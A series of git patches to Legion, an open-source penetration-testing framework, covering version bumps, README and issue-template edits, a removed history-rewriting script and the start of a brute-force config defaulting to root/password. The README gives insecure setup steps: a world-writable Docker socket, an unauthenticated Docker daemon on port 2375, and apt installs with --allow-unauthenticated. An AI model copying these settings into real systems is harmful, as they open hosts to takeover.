Dmitriy Dubson (d.dubson@gmail.com) -""" \ No newline at end of file From 01b1aac9a4a5c3da4910249d9577b07a2007bbe9 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 2 Jun 2021 12:59:55 -0500 Subject: [PATCH 415/450] Cleanup --- app/ApplicationInfo.py | 2 +- deps/installDeps.sh | 1 + fixname.sh | 37 ------------------------------------- 3 files changed, 2 insertions(+), 38 deletions(-) delete mode 100644 fixname.sh diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 217937c5..1a5d5f55 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,7 +19,7 @@ applicationInfo = { "name": "LEGION", "version": "0.3.7", - "build": '1622655840', + "build": '1622656779', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 2ce7c8aa..9fa150d3 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -17,3 +17,4 @@ apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python-impacket apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install whatweb apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install medusa +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install postgresql postgresql-server-dev-all diff --git a/fixname.sh b/fixname.sh deleted file mode 100644 index 0263ec8d..00000000 --- a/fixname.sh +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/sh - -git filter-branch -f --env-filter ' - -OLD_NAME="sscottgvit" -OLD_EMAIL="sscottgvit@govanguard.com" -CORRECT_NAME="sscottgvit" -CORRECT_EMAIL="sscott@govanguard.com" - -if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ] -then - export GIT_COMMITTER_NAME="$CORRECT_NAME" - export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL" -fi -if [ "$GIT_AUTHOR_EMAIL" = "$OLD_EMAIL" ] -then - export GIT_AUTHOR_NAME="$CORRECT_NAME" - export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL" -fi -if [ "$GIT_AUTHOR_NAME" = "$OLD_NAME" ] -then - export GIT_AUTHOR_NAME="$CORRECT_NAME" - export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL" -fi -if [ "$GIT_COMMITTER_NAME" = "$OLD_NAME" ] -then - export GIT_COMMITTER_NAME="$CORRECT_NAME" - export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL" -fi -#if [ "$GIT_COMMITTER_NAME" != "$GIT_AUTHOR_NAME" ] -#then -# export GIT_AUTHOR_NAME="$GIT_COMMITTER_NAME" -# export GIT_AUTHOR_EMAIL="$GIT_COMMITTER_EMAIL" -#fi -' --tag-name-filter cat -- --branches --tags - -git push --force --tags origin 'refs/heads/*' From 365158d07786895acbd69171fc8d3d30d17441ff Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 2 Jun 2021 13:20:39 -0500 Subject: [PATCH 416/450] Release v0.3.8 --- CHANGELOG.txt | 5 +++++ app/ApplicationInfo.py | 6 +++--- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 17b68ba5..4c689c71 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,8 @@ +LEGION 0.3.8 + +* Bug fixes +* Preperation to move to postgresql backend + LEGION 0.3.7 * Bug fixes for several edge cases diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 1a5d5f55..0719ce89 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -18,10 +18,10 @@ applicationInfo = { "name": "LEGION", - "version": "0.3.7", - "build": '1622656779', + "version": "0.3.8", + "build": '1622657874', "author": "GoVanguard", - "copyright": "2020", + "copyright": "2021", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], "update": '06/02/2021', From 7c42d5a371e7548a433ad6ba0967c26fde2d42ad Mon Sep 17 00:00:00 2001 From: 1RaY-1 <78962948+1RaY-1@users.noreply.github.com> Date: Fri, 27 Aug 2021 11:34:49 +0200 Subject: [PATCH 417/450] Fix wrong syntax --- ui/models/servicemodels.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/models/servicemodels.py b/ui/models/servicemodels.py index 2acaef61..bb4a8cc8 100644 --- a/ui/models/servicemodels.py +++ b/ui/models/servicemodels.py @@ -37,7 +37,7 @@ def rowCount(self, parent): return len(self.__services) def columnCount(self, parent): - if not len(self.__services) is 0: + if len(self.__services) != 0: return len(self.__services[0]) return 0 From 45ff9b14b126c8581fce1644a225fc5884eafb70 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Wed, 17 Nov 2021 16:51:57 -0500 Subject: [PATCH 418/450] Removed snmpcheck from scheduler due to instability --- legion.conf | 1 - 1 file changed, 1 deletion(-) diff --git a/legion.conf b/legion.conf index ef483d56..84706db1 100644 --- a/legion.conf +++ b/legion.conf @@ -314,7 +314,6 @@ screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp smbenum=microsoft-ds, tcp smtp-enum-vrfy=smtp, tcp snmp-default=snmp, udp -snmpcheck=snmp, udp x11screen=X11, tcp [StagedNmapSettings] From 57feb243f47aaf682c99f239d6b54f88df776fcd Mon Sep 17 00:00:00 2001 From: "S. Scott" Date: Fri, 11 Feb 2022 18:12:49 -0600 Subject: [PATCH 419/450] Update issue templates --- .github/ISSUE_TEMPLATE/bug_report.md | 35 ++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000..832edeb3 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,35 @@ +--- +name: Bug report +about: Create a bug report +title: '' +labels: '' +assignees: '' + +--- + +**DESCRIPTION** +Enter a clear description. +E.g., It's dark in the room. + +**PRECONDITIONS** +Describe any preconditions that might be required. Be specific. Include versions, execution method, operating system, and anything else that might be needed to replicate the conditions. +E.g., Be in room 5a on 123 plop lane, Plopsville, NY. It's a soulless modern retrofit within a once beautiful and grand building. It's hidden by a poorly painted dark green door six rooms down from the elevator with a cartoon penis drawn on it over on the west side. + +**STEPS TO REPRODUCE** +Describe the sequence of events needed to reproduce the problem. +E.g., + 1. Enter room 5a. + 2. Flip light switch. + 3. Realize it's still dark. + +**EXPECTED RESULT** +Enter a clear description of what you expected under normal conditions. +E.g., A lit room. + +**ACTUAL RESULT** +Enter a clear description of the outcome deemed to be a problem. +E.g., A dark room. + +**ADDITIONAL INFORMATION** +Enter any additional relevant information including screenshots. +E.g., The room smells of farts. The switch used is on the left side of the door. From 395a96a3e92659f81c12c13c7ae46b841728d621 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 26 Feb 2022 12:39:40 -0500 Subject: [PATCH 420/450] Update README and CONTRIBUTING docs Changes include formatting, spell-checking, updating anchor linking with the docs, readability improvements, table of contents for installation sections. --- CONTRIBUTING.md | 40 ++--- README.md | 425 +++++++++++++++++++++++++++--------------------- 2 files changed, 259 insertions(+), 206 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index eba3e14a..4893d3f3 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,41 +1,43 @@ # Contributing -Are you interested in contributing to Legion? We love contributors! We ask that you follow the guidelines below when making contributions to the project. We ask that you also follow our contributor [**Code of Conduct**](#code-of-conduct). We look forward to working with you - get started in one of the sections below. - - +Are you interested in contributing to Legion? We love contributors! We ask that you follow the guidelines below when +making contributions to the project. We ask that you also follow our contributor [**Code of Conduct**](#code-of-conduct) +. We look forward to working with you - get started in one of the sections below. #### Did you find a bug? -* Awesome. First, ensure that your bug isn't a duplicate by checking the [Issues](https://github.com/GoVanguard/legion/issues). **If the issue already exists**, go ahead and comment on the issue with your bug report information, following the guidelines below as if you were reporting a new issue - just don't make a new issue. -* **If you can't find the issue**, its time to [open a new issue](https://github.com/GoVanguard/legion/issues/new). Fill in the issue with a clear title and description. Where possible, include steps to reproduce the bug, code samples, and screenshots. Tag the issue if it fits into one of our existing categories. - - +* Awesome. First, ensure that your bug isn't a duplicate by checking + the [Issues](https://github.com/GoVanguard/legion/issues). **If the issue already exists**, go ahead and comment on + the issue with your bug report information, following the guidelines below as if you were reporting a new issue - just + don't make a new issue. +* **If you can't find the issue**, its time to [open a new issue](https://github.com/GoVanguard/legion/issues/new). Fill + in the issue with a clear title and description. Where possible, include steps to reproduce the bug, code samples, and + screenshots. Tag the issue if it fits into one of our existing categories. #### Did you patch a bug? -* Excellent - your first steps are to open a new [Pull Request](https://github.com/GoVanguard/legion/pulls) with your patch. Be prepared to answer questions or receive feedback from the team. -* Ensure the PR has a description that clearly details the problem and your solution. Be sure to include issue numbers if possible. +* Excellent - your first steps are to open a new [Pull Request](https://github.com/GoVanguard/legion/pulls) with your + patch. Be prepared to answer questions or receive feedback from the team. +* Ensure the PR has a description that clearly details the problem and your solution. Be sure to include issue numbers + if possible. * Follow our coding practices and standards for whatever files you're working on. - - #### Do you want to add a feature? -* We love new features! Please [make an issue](https://github.com/GoVanguard/legion/issues/new) for discussion, with a clear title and description of the proposed feature. Add the Proposal tag, and use the comments to follow up with the team. -* Wait for a response and approval to your proposal before working on your patch and submitting a PR. This way, if we find any problems with the proposal, and discuss remediation before work gets wasted. -* Once your feature is complete, all you need to do is [submit a PR](https://github.com/GoVanguard/legion/pulls). - - +* We love new features! Please [make an issue](https://github.com/GoVanguard/legion/issues/new) for discussion, with a + clear title and description of the proposed feature. Add the Proposal tag, and use the comments to follow up with the + team. +* Wait for a response and approval to your proposal before working on your patch and submitting a PR. This way, if we + find any problems with the proposal, and discuss remediation before work gets wasted. +* Once your feature is complete, all you need to do is [submit a PR](https://github.com/GoVanguard/legion/pulls). #### Do you have a general question? * If you have any questions not related to legion's code, features, or bugs use support@govanguard.com - - #### Code of Conduct -We like to keep the rules simple. +We like to keep the rules simple. * Behavior meant to malign, disrespect, denigrate, harass, or attack any person will not be tolerated. * Use respectful language and foster a community of collaboration. diff --git a/README.md b/README.md index 03e8a3b0..13252b69 100644 --- a/README.md +++ b/README.md @@ -1,227 +1,278 @@ ![alt tag](https://github.com/GoVanguard/legion/blob/master/images/LegionBanner.png) -[![Build Status](https://travis-ci.com/GoVanguard/legion.svg?branch=master)](https://travis-ci.com/GoVanguard/legion) -[![Known Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) -[![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) -![Linter](https://img.shields.io/badge/linter-flake8-brightgreen) -[![Analytics](https://ga-beacon-gvit.appspot.com/UA-126307374-3/legion/readme)](https://github.com/GoVanguard/legion) + -## ABOUT -Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network -penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. -[Legion](https://govanguard.com/legion) is developed and maintained by [GoVanguard](https://govanguard.com). -More information about Legion, including the [roadmap](https://govanguard.com/legion), can be found on it's project -page at [https://GoVanguard.com/legion](https://govanguard.com/legion). -If you are interested in contributing to Legion, join our [Legion Keybase Team](https://keybase.io/team/govanguard.dev.legion). +## ✨ About -### FEATURES +Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible, and semi-automated network +penetration testing framework that aids in discovery, reconnaissance, and exploitation of information systems. +[Legion](https://govanguard.com/legion) is developed and maintained by [GoVanguard](https://govanguard.com). More +information about Legion, including the [roadmap](https://govanguard.com/legion), can be found on its project page +at [https://GoVanguard.com/legion](https://govanguard.com/legion). -* Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer -and more (with almost 100 auto-scheduled scripts). -* Easy to use graphical interface with rich context menus and panels that allow pentesters to quickly find and -exploit attack vectors on hosts. +If you are interested in contributing to Legion, join +our [Legion Keybase Team](https://keybase.io/team/govanguard.dev.legion). + +## 🍿 Features + +* Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and + more (with almost 100 auto-scheduled scripts). +* Easy to use graphical interface with rich context menus and panels that allow pentesters to quickly find and exploit + attack vectors on hosts. * Modular functionality allows users to easily customize Legion and automatically call their own scripts/tools. * Highly customizable stage scanning for ninja-like IPS evasion. * Automatic detection of CPEs (Common Platform Enumeration) and CVEs (Common Vulnerabilities and Exposures). * Ties CVEs to Exploits as detailed in Exploit-Database. -* Realtime autosaving of project results and tasks. +* Realtime auto-saving of project results and tasks. -### NOTABLE CHANGES FROM SPARTA +### Notable changes from Sparta * Refactored from Python 2.7 to Python 3.6 and the elimination of deprecated and unmaintained libraries. * Upgraded to PyQT5, increased responsiveness, less buggy, more intuitive GUI that includes features like: - * Task completion estimates - * 1-Click scan lists of ips, hostnames and CIDR subnets - * Ability to purge results, rescan hosts and delete hosts - * Granular NMAP scanning options + * Task completion estimates + * 1-Click scan lists of ips, hostnames and CIDR subnets + * Ability to purge results, rescan hosts and delete hosts + * Granular NMAP scanning options * Support for hostname resolution and scanning of vhosts/sni hosts. * Revise process queuing and execution routines for increased app reliability and performance. * Simplification of installation with dependency resolution and installation routines. -* Realtime project autosaving so in the event some goes wrong, you will not lose any progress! +* Realtime project auto-saving so in the event some goes wrong, you will not lose any progress! * Docker container deployment option. * Supported by a highly active development team. -### GIF DEMO +### Demo (GIF) + ![](https://govanguard.com/wp-content/uploads/2019/02/LegionDemo.gif) -## INSTALLATION +## 🌉 Supported Distributions + +### Docker runIt script support + +RunIt script (`docker/runIt.sh`) supports: + +- Ubuntu 18 +- Fedora 30 +- ParrotOS +- Kali Linux + +It is possible to run the docker image on any Linux distribution, however, different distributions have different hoops +to jump through to get a docker app to be able to connect to the X server. Everyone is welcome to try to figure those +hoops out and create a PR for runIt. -It is preferable to use the docker image over a traditional installation. This is because of all the dependancy +### Traditional installation support + +We can only promise correct operation on **Ubuntu 18** using the traditional installation at this time. While it should +work on ParrotOS, Kali, and others, until we have Legion packaged and placed into the repos for each of these distros, +it is musical chairs in regard to platform updates changing and breaking dependencies. + +## 💻 Installation + +Two installation methods available: + +- [Docker method](#traditional-installation-method) +- [Traditional installation method](#traditional-installation-method) + +It is **preferable** to use the Docker method over a traditional installation. This is because of all the dependency requirements and the complications that occur in environments which differ from a clean, non-default installation. -NOTE: Docker versions of Legion are *unlikely* to work when run as root or under a root X! - -### Supported Distributions -#### Docker runIt script - -RunIt supports Ubuntu 18, Fedora 30, Parrot and Kali at this time. It is possible to run the docker image on any -Linux distribution, however, different distributions have different hoops to jump through to get a docker app to -be able to connect to the X server. Everyone is welcome to try to figure those hoops out and create a PR for runIt. - -#### Traditional Install - -We can only promise correct operation on Ubuntu 18 using the traditional installation at this time. While it should -work on ParrotOS, Kali and others, until we have Legion packaged and placed into the repos for each of these distros, -it's musical chairs with regards to platform updates changing and breaking dependencies. - -### DOCKER METHOD ------- - -Linux with Local X11: - - - Assumes Docker and X11 are installed and setup (including running docker commands as a non-root user). - - It is critical to follow all the instructions for running as a non-root user. Skipping any of them will result in - complications getting docker to communicate with the X server. - - See detailed instructions to setup docker [here](#docker-setup) and enable running containers as non-root users - and granting docker group ssh rights [here](#docker-setup-non-root). - - - Within Terminal: - ``` - git clone https://github.com/GoVanguard/legion.git - cd legion/docker - chmod +x runIt.sh - ./runIt.sh - ``` - -Linux with Remote X11: - - Assumes Docker and X11 are installed and setup. - - Replace X.X.X.X with the IP of the remote running X11. - - Within Terminal: - ``` - git clone https://github.com/GoVanguard/legion.git - cd legion/docker - chmod +x runIt.sh - ./runIt.sh X.X.X.X - ``` - -Windows under WSL using Xming and Docker Desktop: - - Assumes Xming is installed in Windows. - - Assumes Docker Desktop is installed in Windows, Docker Desktop is running in Linux containers mode and - Docker Desktop is connected to WSL. - - See detailed instructions [here](#docker-setup-wsl) - - Replace X.X.X.X with the IP with which Xming has registered itself. - - Right click Xming in system tray -> View log and see IP next to "XdmcpRegisterConnection: newAddress" - - Within Terminal: - ``` - git clone https://github.com/GoVanguard/legion.git - cd legion/docker - sudo chmod +x runIt.sh - sudo ./runIt.sh X.X.X.X - ``` - -Windows using Xming and Docker Desktop without WSL: - - Why? Don't do this. :) - - -OSX using XQuartz: - - Not yet in runIt.sh script. - - Possible to setup using socat. See instructions here: - https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ - - - -Setup Docker on Linux: - - To install docker components typically needed and add setup the environment for docker, under a term, run: - ``` - sudo apt-get update - sudo apt-get install -y docker.io python3-pip -y - sudo groupadd docker - pip install --user docker-compose - ``` - - -Setup Docker to allow non-root users: - - To enable non-root users to run docker commands, under a term, run: - ``` - sudo usermod -aG docker $USER - sudo chmod 666 /var/run/docker.sock - sudo xhost +local:docker - ``` - - -Setup Hyper-V, Docker Desktop, Xming and WSL: - - The order is important for port reservation reasons. If you have WSL, HyperV or Docker Desktop installed then - please uninstall those features before proceeding. - - Cortana / Search -> cmd -> Right click -> Run as Administrator - - To reserve the docker port, under CMD, run: - ``` - netsh int ipv4 add excludedportrange protocol=tcp startport=2375 numberofports=1 - ``` - - This will likely fail if you have Hyper-V already enabled or Docker Desktop installed - - To install Hyper-V, under CMD, run: - ``` - dism.exe /Online /Enable-Feature:Microsoft-Hyper-V /All - ``` - - Reboot - - Cortana / Search -> cmd -> Right click -> Run as Administrator - - To install WSL, under CMD, run: - ``` - dism.exe /Online /Enable-Feature /FeatureName:Microsoft-Windows-Subsystem-Linux - ``` - - Reboot - - Download from https://hub.docker.com/editions/community/docker-ce-desktop-windows (Free account required) - - Run installer - - Optionally input your docker hub login - - Right click Docker Desktop in system tray -> Switch to Linux containers - - If it says Switch to Windows containers then skip this step, it's already using Linux containers - - Right click Docker Desktop in system tray -> Settings - - General -> Expose on localhost without TLS - - Download https://sourceforge.net/projects/xming/files/Xming/6.9.0.31/Xming-6-9-0-31-setup.exe/download - - Run installer and select multi window mode - - Open Microsoft Store - - Install Kali, Ubuntu or one of the other WSL Linux Distributions - - Open the distribution, let it bootstrap and fill in the user creation details - - To install docker components typically needed and add setup the environment for docker redirection, - under the WSL window, run: - ``` - curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" - sudo apt-get update - sudo apt-get install -y docker-ce python-pip -y - sudo apt autoremove - sudo usermod -aG docker $USER - pip install --user docker-compose - echo "export DOCKER_HOST=tcp://localhost:2375" >> ~/.bashrc && source ~/.bashrc - ``` - - Test docker is reachable with: - ``` - docker images - ``` - -### TRADITIONAL METHOD - - Please use the docker image where possible! It's becoming very difficult to support all the various platforms - and their own quirks. - - Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. - - Within Terminal: - ``` - git clone https://github.com/GoVanguard/legion.git - cd legion - sudo chmod +x startLegion.sh - sudo ./startLegion.sh - ``` - -## Development +> NOTE: Docker versions of Legion are *unlikely* to work when run as root or under a root X! + +### Docker method + +Docker method includes support for various environments, choose the one that works for you. + +- [Linux with local X11](#linux-with-local-x11) +- [Linux with remote X11](#linux-with-remote-x11) +- [Windows under WSL](#windows-under-wsl-using-xming-and-docker-desktop) +- [⚠️ Windows without WSL](#windows-using-xming-and-docker-desktop-without-wsl) +- [⚠️ OSX using XQuartz](#osx-using-xquartz) + +#### Linux with local X11 + +Assumes **Docker** and **X11** are installed and set up (including running Docker commands as a non-root user). + +It is critical to follow all the instructions for running as a non-root user. Skipping any of them will result in +complications getting Docker to communicate with the X server. + +See detailed instructions to set up Docker [here](#configuring-docker) and enable running containers as non-root users +and granting Docker group SSH rights [here](#setup-docker-to-allow-non-root-users). + +Within Terminal: + +```shell +git clone https://github.com/GoVanguard/legion.git +cd legion/docker +chmod +x runIt.sh +./runIt.sh +``` + +#### Linux with remote X11 + +Assumes **Docker** and **X11** are installed and set up. + +Replace `X.X.X.X` with the IP address of the remote running X11. + +Within Terminal: + +```shell +git clone https://github.com/GoVanguard/legion.git +cd legion/docker +chmod +x runIt.sh +./runIt.sh X.X.X.X +``` + +#### Windows under WSL using Xming and Docker Desktop + +Assumes: + +- Xming is installed in Windows. +- Docker Desktop is installed in Windows +- Docker Desktop is running in Linux containers mode +- Docker Desktop is connected to WSL. + +See detailed Docker instructions [here](#setup-hyper-v-docker-desktop-xming-and-wsl) + +Replace `X.X.X.X` with the IP address with which Xming has registered itself. Right click Xming in system tray -> View +log and see IP next to "XdmcpRegisterConnection: newAddress" + +Within Terminal: + +```shell +git clone https://github.com/GoVanguard/legion.git +cd legion/docker +sudo chmod +x runIt.sh +sudo ./runIt.sh X.X.X.X +``` + +#### Windows using Xming and Docker Desktop without WSL + +Why? Don't do this. :) + +#### OSX using XQuartz + +Not yet in `runIt.sh` script. Possible to set up using `socat`. +See [instructions here](https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/) + +#### Configuring Docker + +#### Setting up Docker on Linux + +To install Docker components typically needed and add set up the environment for Docker, under a term, run: + +```shell +sudo apt-get update +sudo apt-get install -y docker.io python3-pip -y +sudo groupadd docker +pip install --user docker-compose +``` + +#### Setup Docker to allow non-root users + +To enable non-root users to run Docker commands, under a term, run: + +```shell +sudo usermod -aG docker $USER +sudo chmod 666 /var/run/docker.sock +sudo xhost +local:docker +``` + +#### Setup Hyper-V, Docker Desktop, Xming and WSL + +The order is important for port reservation reasons. If you have WSL, HyperV, or Docker Desktop installed then please +uninstall those features before proceeding. + +- Cortana / Search -> cmd -> Right click -> Run as Administrator +- To reserve the Docker port, under CMD, run: + ```shell + netsh int ipv4 add excludedportrange protocol=tcp startport=2375 numberofports=1 + ``` + - This will likely fail if you have Hyper-V already enabled or Docker Desktop installed +- To install Hyper-V, under CMD, run: + ```shell + dism.exe /Online /Enable-Feature:Microsoft-Hyper-V /All + ``` +- Reboot +- Cortana / Search -> cmd -> Right click -> Run as Administrator +- To install WSL, under CMD, run: + ```shell + dism.exe /Online /Enable-Feature /FeatureName:Microsoft-Windows-Subsystem-Linux + ``` +- Reboot +- Download from (Free account required) +- Run installer +- Optionally input your Docker Hub login +- Right click Docker Desktop in system tray -> Switch to Linux containers + - If it says Switch to Windows containers then skip this step, it's already using Linux containers +- Right click Docker Desktop in system tray -> Settings +- General -> Expose on localhost without TLS +- Download +- Run installer and select multi window mode +- Open Microsoft Store +- Install Kali, Ubuntu or one of the other WSL Linux Distributions +- Open the distribution, let it bootstrap and fill in the user creation details +- To install Docker components typically needed and add set up the environment for Docker redirection, under the WSL + window, run: + ```shell + curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - + sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" + sudo apt-get update + sudo apt-get install -y docker-ce python-pip -y + sudo apt autoremove + sudo usermod -aG docker $USER + pip install --user docker-compose + echo "export DOCKER_HOST=tcp://localhost:2375" >> ~/.bashrc && source ~/.bashrc + ``` +- Test Docker is reachable with: + ```shell + docker images + ``` + +### Traditional installation method + +> Please use the Docker image where possible! It's becoming very difficult to support all the various platforms and +> their own quirks. + +Assumes Ubuntu, Kali or Parrot Linux is being used with **Python 3.6** installed. + +Within Terminal: + +```shell +git clone https://github.com/GoVanguard/legion.git +cd legion +sudo chmod +x startLegion.sh +sudo ./startLegion.sh +``` + +## 🏗 Development ### Executing test cases To run all test cases, execute the following in root directory: -```bash +```shell python -m unittest ``` -## LICENSE +## ⚖️ License -Legion is licensed under the GNU General Public License v3.0. Take a look at the +Legion is licensed under the GNU General Public License v3.0. Take a look at the [LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. -## ATTRIBUTION -* Refactored Python 3.6+ codebase, added feature set and ongoing development of Legion is credited to [GoVanguard](https://govanguard.com) +## ⭐️ Attribution + +* Refactored Python 3.6+ codebase, added feature set and ongoing development of Legion is credited + to [GoVanguard](https://govanguard.com) * The initial Sparta Python 2.7 codebase and application design is credited SECFORCE. * Several additional PortActions, PortTerminalActions and SchedulerSettings are credited to batmancrew. * The nmap XML output parsing engine was largely based on code by yunshu, modified by ketchup and modified SECFORCE. -* ms08-067_check script used by smbenum.sh is credited to Bernardo Damele A.G. -* Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies so we -would like to thank all of the people involved in the creation of those. +* ms08-067_check script used by `smbenum.sh` is credited to Bernardo Damele A.G. +* Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies, so we would like + to thank all of the people involved in the creation of those. * Special thanks to Dmitriy Dubson for his continued contributions to the project! From 67421e6ffeec864d20b6c0c59d6912bc02357653 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Fri, 4 Mar 2022 14:09:35 -0800 Subject: [PATCH 421/450] Update bug_report.md to include additional fields - Add Legion version - Add install method question - Remove unnecessary lude language - Auto-formatted text to be bound to 120 characters per line --- .github/ISSUE_TEMPLATE/bug_report.md | 38 +++++++++++++++------------- 1 file changed, 20 insertions(+), 18 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 832edeb3..a8c4c4dc 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -1,35 +1,37 @@ --- -name: Bug report -about: Create a bug report -title: '' +name: Bug report about: Create a bug report title: '' labels: '' assignees: '' --- +**Legion version**: {Enter Legion version you are running} + +**Which install method are you using**: {Choose either 'Docker' or 'Traditional install' method} + **DESCRIPTION** -Enter a clear description. -E.g., It's dark in the room. + +Enter a clear description. E.g., It's dark in the room. **PRECONDITIONS** -Describe any preconditions that might be required. Be specific. Include versions, execution method, operating system, and anything else that might be needed to replicate the conditions. -E.g., Be in room 5a on 123 plop lane, Plopsville, NY. It's a soulless modern retrofit within a once beautiful and grand building. It's hidden by a poorly painted dark green door six rooms down from the elevator with a cartoon penis drawn on it over on the west side. +Describe any preconditions that might be required. Be specific. Include versions, execution method, operating system, +and anything else that might be needed to replicate the conditions. E.g., Be in room 5a on 123 plop lane, Plopsville, +NY. It's a soulless modern retrofit within a once beautiful and grand building. It's hidden by a poorly painted dark +green door six rooms down from the elevator with a cartoon drawn on it over on the west side. **STEPS TO REPRODUCE** -Describe the sequence of events needed to reproduce the problem. -E.g., - 1. Enter room 5a. - 2. Flip light switch. - 3. Realize it's still dark. +Describe the sequence of events needed to reproduce the problem. E.g., + +1. Enter room 5a. +2. Flip light switch. +3. Realize it's still dark. **EXPECTED RESULT** -Enter a clear description of what you expected under normal conditions. -E.g., A lit room. +Enter a clear description of what you expected under normal conditions. E.g., A lit room. **ACTUAL RESULT** -Enter a clear description of the outcome deemed to be a problem. -E.g., A dark room. +Enter a clear description of the outcome deemed to be a problem. E.g., A dark room. **ADDITIONAL INFORMATION** -Enter any additional relevant information including screenshots. -E.g., The room smells of farts. The switch used is on the left side of the door. +Enter any additional relevant information including screenshots. E.g., The room has a distinct smell. The switch used is +on the left side of the door. From cf420f8fec5caf1580e319b65792a8803f5c7b79 Mon Sep 17 00:00:00 2001 From: Christian Scott Date: Thu, 24 Mar 2022 09:23:01 -0400 Subject: [PATCH 422/450] Update README.md Removed broken analytics link. --- README.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/README.md b/README.md index 03e8a3b0..570bd7c0 100644 --- a/README.md +++ b/README.md @@ -3,9 +3,6 @@ [![Known Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) ![Linter](https://img.shields.io/badge/linter-flake8-brightgreen) -[![Analytics](https://ga-beacon-gvit.appspot.com/UA-126307374-3/legion/readme)](https://github.com/GoVanguard/legion) - - ## ABOUT Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network From ed6268a6d01846eaf0d61c523d5611b56ebab6ae Mon Sep 17 00:00:00 2001 From: Tdeforge <75676514+Tdeforge@users.noreply.github.com> Date: Thu, 26 May 2022 08:16:36 -0500 Subject: [PATCH 423/450] adding additional configurations --- custom_configs/Deep_Dive.conf | 323 ++++++++++++++++++++++++++++++++ custom_configs/Large_Scope.conf | 322 +++++++++++++++++++++++++++++++ 2 files changed, 645 insertions(+) create mode 100644 custom_configs/Deep_Dive.conf create mode 100644 custom_configs/Large_Scope.conf diff --git a/custom_configs/Deep_Dive.conf b/custom_configs/Deep_Dive.conf new file mode 100644 index 00000000..e21db57a --- /dev/null +++ b/custom_configs/Deep_Dive.conf @@ -0,0 +1,323 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ 